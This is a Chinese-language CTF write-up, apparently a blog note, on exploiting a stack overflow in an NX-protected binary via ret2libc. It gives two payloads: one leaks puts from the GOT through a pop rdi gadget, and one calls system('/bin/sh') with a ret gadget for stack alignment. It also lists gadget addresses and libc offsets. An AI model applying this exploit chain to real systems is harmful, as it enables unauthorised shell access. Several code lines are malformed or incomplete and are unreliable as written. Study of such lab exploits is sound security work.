看到文件开启了NX保护
payload构造: 我们要做的只是把binsh传进system里 那么先溢出,再传system,/bin/sh然而不行 libc会有栈对齐的要求,要ret 改为先溢出,再ret,再pop一个rdi,再binsh,再system 或者先溢出,再binsh ,再ret,再system
payload = b'a'*0x20 + p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
现在有一些问题 为什么是先binsh再system 为什么pop的是rdi函数调用寄存器规则 再看之前写的,system和binsh是在glibc库里的,在程序运行前是没有具体地址的。 在想要调用的函数没有被调用过,想要调用他的时候,是按照这个过程来调用的 xxx@plt -> xxx@got -> xxx@plt -> 公共 @plt -> _dl_runtime_resolve 可以参考_dl_runtime_resolve如何找到函数 也就是说我们需要
- 找到偏移量(也就是找到libc版本)
- 找到运行后的实际地址
- 接收泄露地址
- 栈对齐
- 两次运行
- 确保pop_gadget地址正确
找libc库的话wiki中有给到方法libcsearcher
第一次的payload通过泄露一个函数的地址来确定libc基地址
第二次的payload实行system(/bin/sh)
第一次
payload=b’a’*0x20+b’b’*8+p64(pop_rdi)+p64(elf.got[‘puts’])+p64(elf.sym[‘puts’])+p64(elf.sym[‘main’]
函数的调用elf.sym和获得got表中的地址elf.got可以看这个
return2libc
拿到pop_rdi地址和ret地址
pop_rdi = 0x400753
ret = 0x40050e 偏移值
binsh 0x1b45bd system 0x52290

计算libc基地址: got=u64(data.ljust(8,b’\0’))(ru(b’\x7f’)[-6:]) base=got-libc.sym[‘puts’] print(hex(base)) system=base+0x52290 binsh=base+0x1b45bd
题目返回的是
第二次payload payload=b’a’*0x20+b’b’*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
评论